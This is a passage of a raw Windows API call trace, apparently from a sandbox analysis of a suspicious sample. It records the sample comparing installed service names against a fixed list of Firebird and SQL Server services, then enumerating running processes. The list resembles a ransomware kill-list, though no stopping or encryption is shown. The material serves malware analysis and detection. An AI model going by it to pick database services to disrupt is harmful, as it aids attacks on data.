returned 9 [0195.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0195.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0195.167] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0195.167] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0195.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0195.167] lstrlenW (lpString="gpsvc") returned 5 [0195.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0195.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0195.167] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0195.167] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0195.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0195.167] lstrlenW (lpString="iphlpsvc") returned 8 [0195.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0195.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0195.167] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0195.167] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0195.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0195.167] lstrlenW (lpString="KeyIso") returned 6 [0195.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0195.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0195.167] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0195.167] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0195.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0195.167] lstrlenW (lpString="LanmanServer") returned 12 [0195.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0195.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0195.168] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0195.168] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0195.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0195.168] lstrlenW (lpString="LanmanWorkstation") returned 17 [0195.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0195.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0195.168] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0195.168] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0195.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0195.168] lstrlenW (lpString="lfsvc") returned 5 [0195.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0195.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0195.168] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0195.168] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0195.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0195.168] lstrlenW (lpString="LicenseManager") returned 14 [0195.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0195.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0195.168] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0195.168] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0195.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0195.168] lstrlenW (lpString="lmhosts") returned 7 [0195.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0195.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0195.168] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0195.168] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0195.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0195.168] lstrlenW (lpString="LSM") returned 3 [0195.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0195.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0195.169] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0195.169] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0195.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0195.169] lstrlenW (lpString="MpsSvc") returned 6 [0195.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0195.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0195.169] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0195.169] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0195.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0195.169] lstrlenW (lpString="NcbService") returned 10 [0195.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0195.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0195.169] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0195.169] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0195.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0195.169] lstrlenW (lpString="netprofm") returned 8 [0195.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0195.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0195.169] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0195.169] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0195.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0195.169] lstrlenW (lpString="NlaSvc") returned 6 [0195.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0195.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0195.169] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0195.169] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0195.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0195.169] lstrlenW (lpString="nsi") returned 3 [0195.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0195.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0195.170] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0195.170] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0195.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0195.170] lstrlenW (lpString="PcaSvc") returned 6 [0195.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0195.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0195.170] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0195.170] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0195.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0195.170] lstrlenW (lpString="PlugPlay") returned 8 [0195.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0195.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0195.170] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0195.170] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0195.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0195.170] lstrlenW (lpString="Power") returned 5 [0195.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0195.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0195.170] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0195.170] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0195.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0195.170] lstrlenW (lpString="ProfSvc") returned 7 [0195.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0195.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0195.170] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0195.170] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0195.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0195.170] lstrlenW (lpString="RpcEptMapper") returned 12 [0195.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0195.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0195.171] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0195.171] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0195.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0195.171] lstrlenW (lpString="RpcSs") returned 5 [0195.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0195.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0195.171] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0195.503] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0195.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0195.504] lstrlenW (lpString="SamSs") returned 5 [0195.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0195.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0195.504] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0195.504] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0195.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0195.504] lstrlenW (lpString="Schedule") returned 8 [0195.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0195.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0195.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0195.504] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0195.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0195.504] lstrlenW (lpString="SecurityHealthService") returned 21 [0195.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0195.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0195.504] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0195.504] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0195.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0195.504] lstrlenW (lpString="SENS") returned 4 [0195.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0195.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0195.504] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0195.504] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0195.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0195.504] lstrlenW (lpString="ShellHWDetection") returned 16 [0195.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0195.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0195.504] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0195.504] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0195.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0195.505] lstrlenW (lpString="Spooler") returned 7 [0195.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0195.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0195.505] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0195.505] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0195.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0195.505] lstrlenW (lpString="SSDPSRV") returned 7 [0195.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0195.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0195.505] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0195.505] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0195.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0195.505] lstrlenW (lpString="StateRepository") returned 15 [0195.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0195.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0195.505] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0195.505] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0195.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0195.505] lstrlenW (lpString="SysMain") returned 7 [0195.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0195.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0195.505] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0195.505] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0195.505] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d0518 | out: hHeap=0x790000) returned 1 [0195.505] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2b0 [0196.072] Process32FirstW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0196.073] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0196.074] lstrlenW (lpString="System") returned 6 [0196.074] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0196.075] lstrlenW (lpString="smss.exe") returned 8 [0196.075] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0196.075] lstrlenW (lpString="csrss.exe") returned 9 [0196.075] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0196.076] lstrlenW (lpString="wininit.exe") returned 11 [0196.076] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0196.077] lstrlenW (lpString="csrss.exe") returned 9 [0196.077] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0196.078] lstrlenW (lpString="winlogon.exe") returned 12 [0196.078] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0196.079] lstrlenW (lpString="services.exe") returned 12 [0196.079] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0196.080] lstrlenW (lpString="lsass.exe") returned 9 [0196.080] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.081] lstrlenW (lpString="svchost.exe") returned 11 [0196.081] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0196.082] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0196.082] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0196.082] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0196.083] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.083] lstrlenW (lpString="svchost.exe") returned 11 [0196.083] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0196.084] lstrlenW (lpString="dwm.exe") returned 7 [0196.084] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.085] lstrlenW (lpString="svchost.exe") returned 11 [0196.085] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.086] lstrlenW (lpString="svchost.exe") returned 11 [0196.086] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.087] lstrlenW (lpString="svchost.exe") returned 11 [0196.087] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.088] lstrlenW (lpString="svchost.exe") returned 11 [0196.088] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.088] lstrlenW (lpString="svchost.exe") returned 11 [0196.088] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.089] lstrlenW (lpString="svchost.exe") returned 11 [0196.089] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.090] lstrlenW (lpString="svchost.exe") returned 11 [0196.090] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.091] lstrlenW (lpString="svchost.exe") returned 11 [0196.091] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.092] lstrlenW (lpString="svchost.exe") returned 11 [0196.092] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0196.092] lstrlenW (lpString="spoolsv.exe") returned 11 [0196.093] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.093] lstrlenW (lpString="svchost.exe") returned 11 [0196.093] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.094] lstrlenW (lpString="svchost.exe") returned 11 [0196.094] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0196.095] lstrlenW (lpString="audiodg.exe") returned 11 [0196.095] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0196.096] lstrlenW (lpString="sihost.exe") returned 10 [0196.096] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.097] lstrlenW (lpString="svchost.exe") returned 11 [0196.097] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0196.098] lstrlenW (lpString="taskhostw.exe") returned 13 [0196.098] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0196.098] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0196.099] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0196.099] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0196.099] Process32NextW (in: hSnapshot=0x2b0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0196.100] lstrlenW (lpString="explorer.exe") returned 12 [0196.100] Process32NextW (in: hSnapshot=0x2b0, 